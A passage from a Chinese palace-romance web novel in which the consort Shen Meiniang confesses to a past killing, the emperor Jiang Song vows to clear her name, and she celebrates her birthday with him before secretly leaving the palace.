沈温、叶明舟都在,还有许多沈美娘不认识的人,在那些沈美娘不认识的人里,有两人最惹眼。 一个按年纪和气度,沈美 娘猜出他应该就是谢党领袖阁老谢凡。 另一个则跪在地上,看穿着打扮,似乎只是个平民。 那人背对着沈美娘,她看不到他的脸,但沈美娘心中竟隐隐有了答案。 姜颂看到沈美娘来了,道:“沈贵妃来了。” 他给沈美娘解释:“是这样……谢阁老说你可能是八年前西南一件大案在逃的犯人,朕知道你不可能,但他们就是不信。” 姜颂是真的相信沈美娘没做过。 在他眼里,沈美娘是会为毫不相干的人蛰伏五六年报仇的人。 沈美娘简直就是“人美心善”这个词最好的解释。 美娘才不会做坏事。 但落在旁人眼里,姜颂这就是明目张胆地袒护了。 一旁的谢党人也没想到,陛下竟然会偏宠这个沈美娘至此。 沈美娘却在听到这话后,陷入了良久的沉默。 她的记忆好像被拉回了,那个湿热、窒息,充斥着血腥味和烧不尽野火的夏日。 “美娘,你怎么呢?”姜颂问。 他看沈美娘不对劲儿,也不管什么皇帝威仪了,直接走到沈美娘面前握住她的手。 沈美娘回过神,抬眼看着姜颂。 他的眼睛还是澄澈又明亮,好像永远不会沾染世间的尘埃。 沈美娘从姜颂手里抽回手。 她走到谢阁老面前,直接道:“敢问谢阁老,是什么大案?” 谢阁老也没想到这个沈美娘居然如此大胆。 要知道就算是先帝,当年看在他舅舅的身份上,也会给他几分薄面。 郑愔看出来谢阁老被冒犯的不满,道:“贵妃娘娘自己杀过人,难道自己都不清楚了吗?” 果然是这件事。 沈美娘退后一步,走到跪在地上那人的面前,抬起他的下巴。 确实是记忆中的那张脸。 不过那张凶狠、蛮横的脸,如今瞧着倒像是个可怜人了。 沈美娘松开手,站直身。 姜颂扶住她,他已经看出来不对劲儿,问:“美娘,你杀过人?” “你杀人呢?” 十二岁的沈美娘被无数人问过这句话,而在将近八年后,这句话变成了—— “你杀过人?” 沈美娘看着姜颂单纯的脸,心里却莫名快意。 十二岁那个幼稚、天真、做事不顾头尾的蠢货,好像在她身上又活了过来。 沈美娘冷声道:“我是杀了人。” 她看向跪在地上的那人,轻蔑道:“你肯定也不敢说全部吧。” 毕竟,她是皇帝的妃子。 若今日姜颂当真要保她,也并非不无办法。 而那件事越是恶劣,今天死的人就会越多。 他们这些想把她拉下来的人,肯定只敢说她杀过人,不敢据实相告。 “我替他们说全。”沈美娘看着姜颂。 她此刻的眼是笑着的,但里面没有半分笑意,让姜颂回想起两人在南州决裂的那个夜晚。 沈美娘悠悠道:“是杀人,杀了十几个人,还都是虐杀。” 她像是一点也没将那些人命放在眼里,如同在与人谈论蜉蝣朝生暮死般轻浮。 “我还放了把火,把他们全都挫骨扬灰了。” 沈美娘看到姜颂眼里的错愕神色,心中哂笑。 看吧,她就是这般恶毒。 她才不是什么好东西。 第50章 第50章沈美娘必须是沈美娘。 沈美娘平静地说出真相。 她看到姜颂先是不可置信,随即笑了一下,帮她否认:“美娘,你又在寻我开心吗?” 沈美娘不就是喜欢逗他玩吗? 说不定这次沈美娘也是。 但沈美娘依旧默默不语。 在她格外冷漠的眼神里,姜颂逐渐收敛了笑意。 他像是这时才反应过来,他深深看了沈美娘一眼,便转身对群臣厉声道:“今日贵妃娘娘是昏了心,说错了话,你们都知晓了吗?” 姜颂平日里都给人温和的印象,就算被谏臣的唾沫星子唾到面上,也从不见他生过气。 此刻,他如此决绝利落,让殿上的朝臣全都肃然跪下,不敢再言。 姜颂又道:“言卿、郑卿……这人你们先押下去,朕要亲自审问,没有朕的旨意,任何人不得私动刑罚。” “若是出了什么任何差池,朕拿你们试问。” 姜颂点到的两人分别是叶、谢两党的成员,一个是刑部侍郎,另一个是大理寺卿。 他就算再心思单纯,也看得出来,今日一事和两党的党争离不开关系。 姜颂要想维护沈美娘的清白,就一定不能让任何人动这个证人。 谢阁老看出姜颂是有意偏袒沈美娘,正欲开口,就看到姜颂向他看过来:“今日之事非同小可,不论是为了那十几人的性命,还是贵妃的清誉,都断没有草草结案的说法。” 姜颂反问:“诸位爱卿说,对不对?” 叶明舟立刻道:“陛下圣明。” 叶党人把沈美娘视作他们一党的人,如今叶丞相也发了话,为了他们的利益,当然全都纷纷点头。 谢阁老见状,深知知陛下今日想压下这件事的意思已经很明显了,只好也道:“陛下所言甚是。” 姜颂让众人都退下后,才拉住沈美娘的手,问:“美娘,人是你杀的,可是……你为何要那么做呢?” 沈美娘抬眼看着眼前的姜颂。 他眼里都是担忧,好像在他眼里,不论她说什么,他都可以理解,可以原谅。 即使到了这份上,小皇帝似乎都还觉得她是冰清玉洁的神女。 可惜,她不是。 沈美娘:“想杀就杀了,哪里来那么多理由。” 理由? 确实是有理由,可是那个理由她不是没有和人说过,但从来无人相信过,也无人愿意替她证明。 姜颂听到沈美娘的话,还是不愿意相信,坚持道:“美娘,我知道你爱说狠话……但这次不一样,你得和我说实话,我才能帮你查清楚。” 沈美娘轻嗤:“你查不到的。” 如果能自证清白,她当年就不会抛弃七娘和阿爹,独自一人离开家乡,更不会这些年,宁可对外说自己无父无母,都不敢牵扯旧事分毫。 那件事根本就很难查到证据,更没人愿意替她证明清白。 沈美娘小时候最喜欢做好事、救人于危难,她盼望着也被奉为神灵。 和月神娘娘一样受人祭拜,为人尊崇,让爹娘不必再避世而居。 可是十二岁那年,那些被她救下的人,却没有一个人愿意为她证明“虐杀”的真相。 也没有一个人愿意为她说半句好话。 彼时这件案子几乎都无法得到公正审理,又遑论是如今呢? 八年的时间足以让人心更加凉薄,也足以让有心之人抹去一切痕迹。 谢党人抱着将她拽下泥潭的想法,恐怕在他们找到今日那人时,也细心地将当年旧事为数不多的证据彻底清除了。 姜颂说他要查?可他怎么查,又从何查起呢? 黔中到上京迢迢几千里,又有谢党人横亘其中,姜颂就算是皇帝,又能拿到什么证据? 姜颂还是摇头:“美娘,我可以的!这世上一切发生过的事情,一定都会留下痕迹。只要你和我说清楚当年具体的情况,就算是上穷碧落下黄泉,我也要帮你查清楚。” 沈美娘被姜颂的话说得动容。 上穷碧落下黄泉?这小皇帝还真敢说,他难道还能叫死人说话不成? 沈美娘轻笑:“陛下既然如此笃定,那不如先去查试试?” 等这个小皇帝去查来查去,发现他什么都查不出来的时候,自然就会死心了。 他就是这辈子没吃过苦头,才会自以为是,以为自己无所不能。 才会和十二岁的她一样愚蠢。 姜颂朗声答道:“好!我一定会把此事查得水落石出。” 他像是为了让沈美娘再放心些,故意笑得比往日里还要灿烂,道:“美娘,我一定会还你清白的……我们不是还要白头偕老吗?” 沈美娘听到姜颂的话,眼里是一闪而过的失神。 这个小皇帝怎么总是在记这些话上,记忆力好得出奇啊。 沈美娘盯着姜颂明亮的眼睛,默然片刻,很轻地应了一声- 自从那日在大殿上一别后,姜颂应该是全心全意投入去查那件“旧案”了,沈美娘一连好多日都没见过他。 沈美娘也不知道姜颂使了什么法子,反正她可能是 在逃犯人这件事并未流传开。 但她这些日子也没闲着,而是让人找了一幅大燕地图给她。 沈美娘拿笔将家乡和上京连在一起,更觉山高水远,想要查清真相会有多难。 姜颂那个笨蛋现在肯定后悔自己夸下海口了,也可能越查越觉得证据确凿,知道她就是那般“可怕”的一个女人。 沈美娘垂眸盯着地图上的线,又听宫人传报,说是太后娘娘唤她去寿康宫。 除了她刚入宫时,谢太后见过她一面,与她说了许多奇怪话外,太后就一直再没有唤过她。 沈美娘也不知道谢太后突然喊她做什么。 但等她进了寿康宫,就很快明白了谢太后的用意了。 谢太后屏退其他宫人,只留了心腹女官在殿内。 她道:“这几日你的事,哀家也知道了。” 沈美娘听到这话有些意外。 但仔细想想,她又能理解谢太后知道这件事不算多困难。 就算谢太后如今深居简出,但她是谢阁老的女儿,又在宫中生活了这许多年。 想来谢太后若是有意,肯定有的是办法打听朝堂上的事。 “你的那件事,皇帝恐怕也替你翻不了案。”谢太后道。 沈美娘当然知道这一点,不然就算她当日陷入当年的偏执情绪中,也不会在大殿上承认。 沈美娘之所以承认,就是她比谁都清楚,这件事几乎不可能查得清楚。 谢太后看沈美娘不语,像是有些心不在焉,没觉得她失礼,只以为这孩子是在担心自己的命运。 “这是假死药,你喝下它,后面哀家会想办法送你离开京中。”谢太后叹了口气,“你也是可怜。” 谢太后知道沈美娘帮陈盈复仇,报复李守义的事……能做出这种事的人,怎么都不像是会犯下那种大罪的人。 再说当年沈美娘不过十二岁,比小孩子也大不了几岁。 她一个姑娘家,如何能杀十几人呢? 但偏偏就是没有能替她证明清白的人证和物证,反倒是证明她做过这些事的证据只多不少。 沈美娘看着眼前的假死药猛地抬头。 这个谢太后虽之前说过那番奇怪的话,但她——真的会这般好心? 谢太后误会了沈美娘的怀疑,道:“陛下,不会保你的。” 如果是先帝,或者说,换了其他任何一个皇帝,就算沈美娘是杀了人,只要皇帝足够喜欢她,都可以轻而易举给她遮掩下来。 但偏偏那个人是姜颂,他嫉恶如仇,绝不可能徇私枉法。 谢党里不乏给姜颂授过课的官员,他们当然也很清楚姜颂的脾性,才会抓住沈美娘杀过人的事做文章。 沈美娘当然也明白这件事。 从一开始,她就知道她犯的错,必须得严严实实捂一辈子。 但她又想光耀门楣,想让七娘和阿爹过好日子。 皇帝从一开始就是她想攀附的对象。 因为沈美娘知道天底下能包庇一个死囚犯的人,只有皇帝。 就算是丞相、王爷,他们也会忌惮文官的弹劾,说不定就为了自保,随手赐死她。 唯有皇帝,说一不二,睥睨天下,就算父子聚麀、残害手足,也没人敢指摘。 可偏偏这个皇帝是姜颂。 沈美娘知道姜颂的性格,即使他不是宋江江……他也决不会爱一个杀人犯的。 沈美娘看着眼前的假死药,这个谢太后给她的确实也是一条出路。 这也比她自己想金蝉脱壳的法子要好。 但就在她的手将要触碰到杯盏时,殿外突然传来喧哗声。 “都给朕退下——” 姜颂冲进殿内,看到沈美娘面前摆着像是毒酒的东西。 他走上前拽住沈美娘的手,挡在她身前,质问谢太后:“母后这是做什么?儿臣素来敬重母后,将您从东都行宫迎回,尊您为太后,您就是如此待儿臣的吗?” 她居然趁他最近忙,就来欺负沈美娘! 沈美娘看姜颂误会了,小声道:“不是毒酒,陛下你误会了。” 这个姜颂怎的今日跟个小炮仗一样,劈里啪啦不分青红皂白就闹啊。 他该不会是最近查案,查得脑子神志不清了吧? 姜颂听到沈美娘的话,又看了看那杯酒,还是选择继续道:“母后,这次儿臣便作罢……若有下次,这杯酒就应该谁给的,谁来喝了!” “儿臣告退。”姜颂拉着沈美娘就走。 离开寿康宫后,姜颂将沈美娘从头到脚好好打量了一遍,才松了口气。 他问:“你不要一声不吭就到寿康宫来,谢党人不是什么好东西,他们狠着呢!” 沈美娘看姜颂难得这般生气,伸手捏了捏他的脸。 这一摸她才发觉姜颂清瘦了许多。 或许是因为脸颊瘦削许多,少年的眉眼逐渐褪去稚气青涩,向成熟沉稳转变。 沈美娘收回没摸够的手,才道:“陛下,既然知道谢党不是好人,为何还要任用他们呢?” “美娘,你总说我单纯,你不也是吗?不管是叶党,还是谢党,他们有几人是好人?”姜颂反问。 都搞党争这种你死我活的东西了,这两党里都不会有什么出淤泥而不染的小白花。 他平日里看在师生情谊上和叶先生来往更多不错,但那也只是平衡手段罢了。 谢党雄踞朝堂多年,党羽又多旧日望族和开国勋贵出身,父皇才会有意扶持叶党与之为敌。 他也才会故意偏倚叶党。 沈美娘听到姜颂的话,看他的眼神更复杂。 她其实一直都知道姜颂不笨,也知道他其实很明白该怎么做皇帝最好。 姜颂只是自己不想被同化,才不那样做而已。 沈美娘点头:“陛下说的有理。” 她想起谢太后刚才说的话。 这次姜颂应该不会保她,那她又该怎么办呢? 沈美娘试探问:“陛下最近帮臣妾查案子,可有查出什么东西来?” 姜颂摇头,但他怕沈美娘难过,立刻道:“美娘,我一定能查出来……就算不行,我也会保护你的。” 沈美娘没想到姜颂会这般说,她轻笑:“陛下,这是打算徇私枉法?” “不是!我知道沈美娘你不会做那种事的。”姜颂道。 沈美娘以为姜颂会越看证据,越确信她是个恶人,然后为他过去瞎了眼懊恼。 但她没想到姜颂会是这个回答。 姜颂和美娘细数:“你我初遇,你就能救素不相识的我,我记得的,那时你原是不打算救我的。” “可我只是说了个‘请’字,你就改了主意。美娘,我知道的,只要别人把你当人,你也绝对会把别人当人。”姜颂道。 如果沈美娘不把谁当人看,那一定是那人先不把美娘当人看! 沈美娘听到姜颂的话愣住。 她早就记不清两人初见了,却没想到姜颂记得如此清楚。 “还有你对宝儿的好,细心引导宝儿一点点成长,更不要提你敢和李守义对着来了……”姜颂拉住沈美娘的手。 他的眼里盛满夏日明光,叫人移不开眼。 他道:“美娘,我不是徇私枉法,是……我是相信你,我会一直查下去,直到水落石出那天。” 大不了他就像查巫蛊案、谋反案般,投入数不清的成本进去,就算被后世诟病荒唐,他也无所谓。 “我一定还你清白。”姜颂道。 沈美娘却迟迟不语。 许久后,她揉了揉有些酸涩的眼睛,问:“值得吗?” “当然值得!”姜颂握住沈美娘的手 更用力几分,“美娘,你怎么会觉得不值得呢?” 沈美娘错愕。 下一刻,姜颂用力拥住她,在她耳边道:“就算,我是说万一……就算这件事当真查不出结果。” “沈美娘,我也一定会保护好你。”姜颂道。 “我可以不是宋江江,也可以不是姜颂,就算彻底被这个时代同化都没关系……但,美娘,我希望你永远都是沈美娘。”姜颂许诺道。 他想,他还是辜负了妈妈的期待。 他做不到不被这个时代同化,就像他做不到不爱沈美娘。 别说他相信沈美娘不会做坏事,就算她真的做了……他也只会继续自欺欺人、扭曲地爱她。 沈美娘从姜颂的怀里挣脱,退后一步,她盯着姜颂的脸看了很久很久。 在姜颂觉得奇怪,打算开口时,沈美娘却忽然上前,踮脚抱住姜颂。 她道:“你不能被同化,我喜欢的也只是这样的你。” 沈美娘心里已经有了方案。 既然姜颂都能为了十二岁的那个沈美娘做到这个地步,那她也不应该苛责那个不懂事时的她。 就算上京回故地千里迢迢,这次沈美娘也要回去把这件事查清楚,将当年的真相公之于众。 但在那之前,沈美娘还想和姜颂做一件事。 沈美娘突兀地开口:“陛下,再过几日就是臣妾的生日了。” 她想和姜颂一起过个生辰。 姜颂听到沈美娘的话,追问:“美娘,你是什么时候的生辰呀?” 沈美娘道:“六月二十三,是夏季快要结束的时候。” 她已经快八年没过过这个生日了。 为了不暴露身份,她离开家乡后,就再也没有与人提过这个生辰。 沈温给她做的户籍上的生辰也只是两人到南州那日。 姜颂不知道沈美娘心里的打算,只觉得他又更了解她了。 他点头,笑道:“好,美娘,我一定给你一个难忘的生辰。” 沈美娘听到姜颂的话有点心虚。 她难不难忘不知道,但姜颂应该是忘不了了。 50-60 第51章 第51章生日,礼物,花 沈美娘在生辰前,又召见了谢明安一次。 谢明仪想起谢党这次为难沈美娘的事,有些忐忑:“娘娘,臣妇不知家父会揪着您昔年的事不放,不然臣妇定然会提前告诉你。” 自从她在李守义倒台后,谢绝了父亲的几次邀请,父亲大人已经对她这个从前最听话的好女儿失望了。 她与谢阁老没有来往,不然她一定会将父亲的打算告诉沈美娘的。 “本宫知道此事你不知,没有来责备你的意思。”沈美娘轻笑,“我今日是想问你,你可知二十年前蜀中的局势?” 沈美娘还记得李守义死前说,陈家被灭门一事是谢阁老叫他做的。 她原本是打算等李守义的事情过去段时间,再去谢阁老那里试探的。 如今谢阁老已经算是与她撕破脸了,她恐怕在谢阁老那里是试探不出什么来了。 但谢明安不论怎么说都是谢阁老的女儿,她兴许会知道点什么。 谢明安想了想,道:“当时蜀中士族力量不小,先帝害怕旧士族和南边的蛮夷搅和在一起,割据西南,就将蜀王的封地封在那里了。” 沈美娘注意到了谢明安话里的蜀王。 她追问:“蜀王和谢阁老私下有来往吗?” “没有,而且蜀王很讨厌家父。”谢明安压低声音,“从前有过传闻,说姜忠与文昭皇后有私情,此事虽不知真假,但……蜀王确实一直处处与家父做对。” 谢阁老是先帝元后的父亲,当年最初也是最反对先帝更立皇后的几人之一。 沈美娘听到姜颂他娘的名字,感叹他们上一辈的恨海情天的同时,又问:“那蜀王当时和叶丞相关系想必不错?” 谢明安摇头:“姜忠与叶丞相关系也不好。” 沈美娘这下是真的觉得奇怪。 绵州陈氏在蜀中也算是能叫得上的郡望,陈盈家又是他们族中比较显赫的一房。 如果沈美娘是那个蜀王,自己治下出了这么大的案子,是绝对会彻查,而不是草草以一个“天灾”结案的。 沈美娘原以为可能是蜀王和谢阁老之间也有勾结,可谢明安却说他们二人并无往来。 谢阁老远在上京究竟为何要灭一个西南小郡望满门呢? 况且,他又是如何做到灭了人满门,却还能将这件事轻而易举结案的? 陈家又不是后来陈盈待的道观,可以轻松瞒下。 谢明安见沈美娘深思不语,问:“娘娘还有什么别的想问吗?” 沈美娘摇头,又问:“没什么……姮娘近日还好吗?” “那孩子很好,这些日子比从前面色红润多了,她的身子有娘娘派去的太医诊治,也一日比一日好了。”谢明安笑道。 沈美娘笑得真切:“那就好,本宫让尚服局给她裁了新秋衣,你等会儿带去给她吧。” 她又给了许多赏赐,让谢明安捧着东西欢喜离开了。 沈美娘还在想陈家的案子,就听到宝儿嘀咕的声音:“美娘,你怎么总是赏赐李姮东西啊?” “怎么?你吃醋呢?”沈美娘促狭道。 宝儿摇头:“我才没有!我就是不明白你为何要这般大方,那可都是真金白银啊。” 那可是钱,还是那么多钱! “李姮是我女儿,做娘的多给女儿点东西,不是很正常吗?”沈美娘轻笑,“还有……” 沈美娘解释:“从利益上说,李姮和谢明安就是我的一块招牌。” 宝儿不解:“招牌?” 沈美娘点头:“对,我要让全天下的人都知道,我沈美娘是个说话算话的人。让他们都知道给我卖命是件稳赚不赔,有百利而无一害的事。” “说不定啊,哪天谢阁老的夫人,甚至谢颖都觉得与其跟着谢阁老,不如投靠我。”沈美娘轻笑道。 宝儿这下明白了。 两人又闲聊了一会儿,沈美娘就听到宫人通传,说是陛下来了。 沈美娘刚站起身,姜颂就从殿外跑进来,抱住她。 他贴着沈美娘,闻到她身上熟悉的香味,这些日子查案的辛苦都好像瞬间消失了。 真的是好神奇。 沈美娘有些无奈地抚着姜颂,道:“陛下,也不怕被人笑话?” “谁笑话我就是嫉妒我,嫉妒我有老婆可以贴贴。”姜颂道。 沈美娘被这话逗得唇角笑意更深。 姜颂看到沈美娘如她所愿笑了,在心里得意。 他又道:“美娘,明日就是你生辰,我白日里还得继续审问那人,等下午我们就可以出宫去玩了。” “整个下午和晚上,我们都可以待在一起!”姜颂看起来比过生日的沈美娘还要激动。 沈美娘应道:“好。” 她看着姜颂即使很疲惫,却还是要强撑活力满满的样子,垂下眼睫。 沈美娘知道姜颂这案子查得慢,没有线索是一回事,他没让对那人动刑也是原因。 姜颂讨厌刑讯逼供,他说什么那违背了“法律精神”。 沈美娘若是从前会觉得姜颂又在发癫了,但……看了宋薇的书以后,她其实也能理解姜颂的很多想法。 他做不到下令更改燕律,让大燕也成为那个世界那样。 但他至少自己不想做用“屈打成招”这种手段的人。 正因姜颂的性子,沈美娘才必须按她自己的想法,去查当年的事。 不然姜颂说不定会投入更多成本还不见效,到时候他肯定会被文臣和后世诟病…… 更何况,沈美娘也不希望她当年的事,是借助姜颂的权力才得以昭雪的。 “美娘,你想什么呢?”姜颂问。 沈美娘道:“没什么,就是我也很期待明日的生辰。” 虽然她计划在明日离开上京,但在那之前她好歹要和姜颂好好过一个生辰。 姜颂信了沈美娘的话,继续想着明日下午出宫要吃什么、玩什么,还有晚上要给她的惊喜。 沈美娘则继续想着陈家的案子、自己的旧事,甚至还想起到了“沈温”顶替他人,究竟是想要做什么。 可能是想的事情很多,时间总是过得格外的快。 时间很快来到第二日。 沈美娘按之前的安排,让宝儿在白日先出宫去了。 姜颂下午来找沈美娘,看宝儿不在问她去哪里了。 沈美娘按想好的回答:“那姑娘说是在玉泉观给我求了什么平安符,今天早早地就出宫去 了。” 姜颂没有怀疑,带着沈美娘就出宫了。 沈美娘进京也有大半年了,但这还是她第一次和姜颂如此悠闲地在上京漫步。 之前上元节那次不算——当时几乎是人挤人,她大半时间都在担心和姜颂走散。 但这次不逢什么年节,街上行人不多。 他们就像上京最寻常的一对有情人。 沈美娘如今也不用担心她的美貌招惹祸端,不用像之前在南州那般得戴着帏帽。 她仰着头看天上的太阳,可太阳还是有些太刺眼了,她下意识地伸手挡。 姜颂以为她是被晒得难受,连忙打算给她撑伞。 沈美娘摇头拒绝:“我没事,我喜欢晒太阳。” 姜颂还是有些担心:“可是上京夏天的太阳很大的……” 虽然和南州比不了,但可能还是会很难受。 沈美娘笑着解释:“我真的喜欢……而且,这个太阳才哪儿到哪儿啊,公子知道我家乡的夏日的太阳有多大吗?” 姜颂:“有多大?” “能把你皮都剐一层下来!我家呢,住在黔和巴中间那块地,可是啊,既不像巴蜀那般富庶,也不像黔中般凉爽些许。”沈美娘道。 她提起家乡,眼里尽是怀念之情:“有点热又有点贫苦……不过呢,我还是很喜欢的,我们那个寨子乃是交通要地,行脚商人特别多。” 当年沈美娘就是从他们口中,才知道山的外面是哪些地方,往北走能到哪里,往南走又能到哪里。 姜颂看沈美娘这样,有些意外:“原来美娘你不讨厌你的家乡啊。” 他还以为,沈美娘被家乡人诬陷,又没人愿意为她证明清白,她会讨厌那里的。 “我当然不讨厌啊,我喜欢还来不及呢!”沈美娘忍不住期待,“那可是生我养我的地方,我做梦都想回去。” “我想从前的朋友,也想屋前招展的山茶,还有下了雨后,就如仙境般云雾缭绕的山间。”沈美娘眼里都是深深的思念,“还有七娘做的豆花,阿爹给我打的木秋千,我以前那些好看的衣裳……” 这一切的一切,都叫沈美娘才那般执着于出人头地,能够再回家乡去。 沈美娘看着姜颂道:“总之,我就是很喜欢我的家乡。” 姜颂这才知道他有多狭隘。 原来在沈美娘心里,那些坏的人和事根本不会在她心里占太多位置。 她总是更在意那些美好的东西。 沈美娘就是被世间最美好的一切填满的,难怪她叫“美娘”啊。 沈美娘不知道姜颂为何又用“星星眼”看她,和以前寨子里的人拜月神差不多。 她不知道缘由,心里却很受用。 就像沈美娘喜欢被人夸漂亮、聪慧一样,她也喜欢被人仰望,被人视若神明。 沈美娘和姜颂闲聊在上京的街上漫步了很久。 她讲起了很多小时候的事,其实都是些很无聊的小事,但姜颂就是听得很认真。 姜颂也讲了点小时候的事——他八岁前的记忆几乎没有,所以他说的最多的就是他父皇的不是。 两人讲来讲去,讲得喉咙都有点疼了,才对视一眼,心照不宣地笑出来。 姜颂看天快黑了,就带沈美娘去了一处宅子。 他给沈美娘准备的晚饭是她家乡的饭食,不过路途遥遥,有的食材实在是运不到上京来。 但姜颂还是尽他所能找了。 沈美娘看到“凉拌蕺菜根①”有些惊喜。 她已经好久没吃到这个了,这可是她最喜欢的家乡菜! 沈美娘揽住姜颂的脖子,真心诚意道:“谢谢陛下,陛下真好!” 说完她还亲了姜颂的脸好几下。 两人坐下用餐,姜颂原本以为他会吃不惯,但可能是他幼年在西南旅居过的缘由。 姜颂竟发现他还挺喜欢这些菜的,除了那个看起来有些奇怪的“蕺菜根”。 沈美娘给姜颂挑了“蕺菜根”,开心分享:“陛下,这个可好吃了,你尝尝!” 姜颂听了沈美娘的话,半信半疑地挑起那个圆圆的细细的东西,轻咬了一口。 他刚咽下去,就差点控制不住脸上的表情了。 他怎么感觉自己像是在抱着鱼啃啊!还是带着土的鱼…… 沈美娘不知道姜颂已经快晕过去了,撑着下巴,兴冲冲问:“好吃吗?是不是很好吃?!” 要知道在家里,她一个人都能吃完小半碗凉拌蕺菜根的。 姜颂将蕺菜根咽下,强装无事,道:“好吃、好吃。” 他看沈美娘还想给他夹,连忙婉拒了:“你吃,你吃……我、我想再尝尝别的。” 沈美娘没怀疑姜颂的话。 在她眼里蕺菜根简直就是人间至宝,根本没想到会有人不喜欢吃它。 姜颂则缓了剩下的整顿饭时间,才从刚才的蕺菜“攻击”里回过神来。 两人吃完饭又甜甜腻腻开始闲聊。 等到天彻底黑了,姜颂盘算时间差不多了,才拉住沈美娘的手。 他道:“美娘,我们去院子里……我有礼物想要送给你。” 沈美娘跟着姜颂从屋内出来,就看到庭院里的盛开的“牡丹”。 这个时节没有牡丹,但此刻,院子里“牡丹花”却开得绚烂。 姜颂笑着对沈美娘道:“美娘,十九岁生辰长乐!这是我送给你的,不败的花。” 沈美娘上前,伸手摸了摸牡丹。 原来是绢花,用的应该是很好的绫绢,以至于几乎可以以假乱真。 夏风时起,吹动朵朵牡丹,花瓣微颤,也像此时沈美娘的心。 她抬眼,看向姜颂:“谢谢你,我很喜欢。” 姜颂走到沈美娘面前道:“我还有礼物。” 这些绢花主要是靠“钞能力”实现的,但他觉得这不能充分证明用心了。 他还有更用心的礼物。 姜颂笑得眉眼弯弯,青涩又有些扭捏道:“我也想送你一支舞。” 就像沈美娘送他那支舞一样,姜颂也想回她一支他家乡的舞。 沈美娘有些意外:“陛下什么时候会跳舞的?” “我不会,但我可以学!这个舞叫‘华尔兹’,我娘以前和我父皇就跳过。”姜颂解释。 不过,他就见他娘和父皇跳过一次,很多东西都记的不是很清楚了。 这些日子姜颂除了查案外,都在拼命回想当时父母跳舞的场景,他还仔细看了妈妈记录这部分的手札。 他也只是加上推想,粗略地猜测这种舞该怎么跳。 姜颂道:“应该是这么跳……” 他简单和沈美娘讲了舞蹈礼仪和舞步什么的。 沈美娘听得格外认真。 她也很好奇那个世界的舞蹈。 姜颂讲完,有些紧张道:“那我们……开始吧。” 沈美娘点了点头。 姜颂走到沈美娘的左侧,他伸出右手请舞,沈美娘抬起她的左手搭了上去。 她对姜颂明媚一笑。 下一刻,随着动作,沈美娘转到姜颂身前,两人的手掌再次紧握。 姜颂有些脸红心跳,喘不过气,他深吸了几口气才调整过来,把手搭在沈美娘的背后去。 沈美娘和他相比,就显得要游刃有余许多,随手将手搭在了他肩上。 这支舞没有音乐,姜颂虽然一个人练了许久,但他显然在跳舞这件事上没什么天赋。 沈美娘在大概弄明白这舞该怎么跳后,就基本上可以说是她在带着姜颂跳了。 姜颂时不时踩到她的脚,又或者碰到她膝盖。 沈美娘看出姜颂有些害羞懊恼,温声宽慰他:“已经很厉害了,没事,慢慢来就好。” 姜颂听到这话愣愣点头。 然后,又后知后觉反应过来—— 奇怪,不是他在教沈美娘跳舞吗?怎么好像“攻守之势异也”? 沈美娘又道:“这个舞应该不是穿咱们身上的衣裳跳吧?” 姜颂摇头:“是另外的衣服……男生好像是什么西装?女生的话是……长裙吧?” 他简单说了说这两种衣服的样子。 沈美娘笑道:“那边不会说这种衣服伤风败俗吗?” “不会的!那边很开明,这是很正常的穿搭……而且,在那边靠跳舞为生的人不会被看不起,大家反而都会很佩服,会叫你舞蹈家、艺术家!”姜颂道。 他的眼睛在灯笼的暖光映衬下,愈加显得动人真诚:“美娘,你在那边,一定会是最厉害、最厉害的舞蹈家,肯定全天下的人为了看你的舞蹈,不惜万里都愿意。” 沈美娘笑出声:“你总是把我说得这么好。” 姜颂毫不犹豫:“就是好!美娘天下第一好!” 沈美娘不再说话,只默默跳完剩下的舞。 出于对舞蹈的热爱与敬重,她认真地将这整支新奇的舞蹈跳完。 但出于对眼前少年人的喜欢,沈美娘在谢舞散开的瞬间,又一个旋身回到姜颂身前。 她踮起脚,用力吻住姜颂。 沈美娘不断加重这个粘腻湿热的吻,像是要不死不休般。 直到两人都有些体力不支后,她才推开姜颂。 沈美娘还能在姜颂的瞳孔里,看到她动容失态、汗水浸透鬓发的样子。 但这一次,她没有再回避。 她喘着气,道:“宋江江,谢谢你的礼物,我都很喜欢。” 沈美娘又粲然一笑:“你——我也很喜欢。” 与此同时,空中有烟火炸开,明亮的光将两人眼里的爱意都照得一清二楚。 第52章 第52章美娘,去哪? 沈美娘和姜颂跳完舞,沐浴更衣后,她就拉着姜颂上床了。 沈美娘有意想和姜颂做那种事,但他显然没理解沈美娘的想法。 姜颂继续白日里没说完的话,又开始和沈美娘聊鸡毛蒜皮的小事。 沈美娘深深看了眼姜颂,也没有继续原本的想法—— 她想和小皇帝临别前缠绵一夜的,给他留点接下来几月能回味的记忆,但看他有些幼稚的行为…… 算了,反正两人也很快能相见。 “美娘,我有点困了,我们睡吧。”姜颂打了个哈欠。 好奇怪,明明好像还挺早,但不知道为何他进屋以后,就越来越困。 沈美娘看姜颂如计划般昏昏欲睡的样子,应了一声后,就钻进他怀里了。 又约莫过了一刻钟,沈美娘感觉抱着她的人呼吸逐渐平缓。 她将姜颂搭在她腰上的手挪开,坐起身默默看了他很久。 良久以后,沈美娘俯身很轻很轻地吻在了姜颂唇角。 她将一封早已准备好的信塞到了姜颂枕下,就起身换了身衣裳离开了。 沈温安排来接应的她高手,带她从这座宅院离开。 路上两人一路避开了城中宵禁巡查的侍卫,很快就到了沈温的别院。 她刚进府中,宝儿就飞奔过来抱住她。 沈美娘对院中似乎已经等了她很久的男人拱手,道:“这次多谢沈大人了。” 沈温看她如此客气,摇头道:“小事罢了……本就是我欠你的。” 不管是在南州时,他将沈美娘献给叶司马,还是他前些日子被谢阁老传唤,将他对沈美娘过去身份的猜测,和当年两人相遇的时间地点都和盘托出。 这些事都是他沈温对不起沈美娘。 沈美娘闻言轻笑,但也没说什么。 这个沈温只要还有利用价值,她就得演好因爱生恨这个角色。 沈温宁愿沈美娘骂他,也不想被她如此轻视,他解释:“那日谢阁老唤我去时,已经有了你我从前交情匪浅的证据,我若是否认,只怕更会让他生疑。” 沈美娘觉得这个沈温真的是……总是有理由给自己开脱。 她笑意盈盈,反问:“怕他生疑?那你为何不保留一些我的过去,而是要全都告诉他?甚至连你的猜测都说了?” 当年逃难出了蜀中后,沈温是看到过官差拿着画像一个个难民盘问,沈美娘却费尽心思躲掉盘问的。 他当时才能猜出她的身份。 但如今已经过去了八年,若沈温这次只是点到为止。 这整个西南那般大,焉能让谢阁老轻而易举就查到沈美娘的旧事上? 沈美娘点破沈温的小心思:“你是迫不得已吗?不,你是害怕万一你说的笼统,谢阁老彻查时,将你的罪臣之子身份也揪出来。” 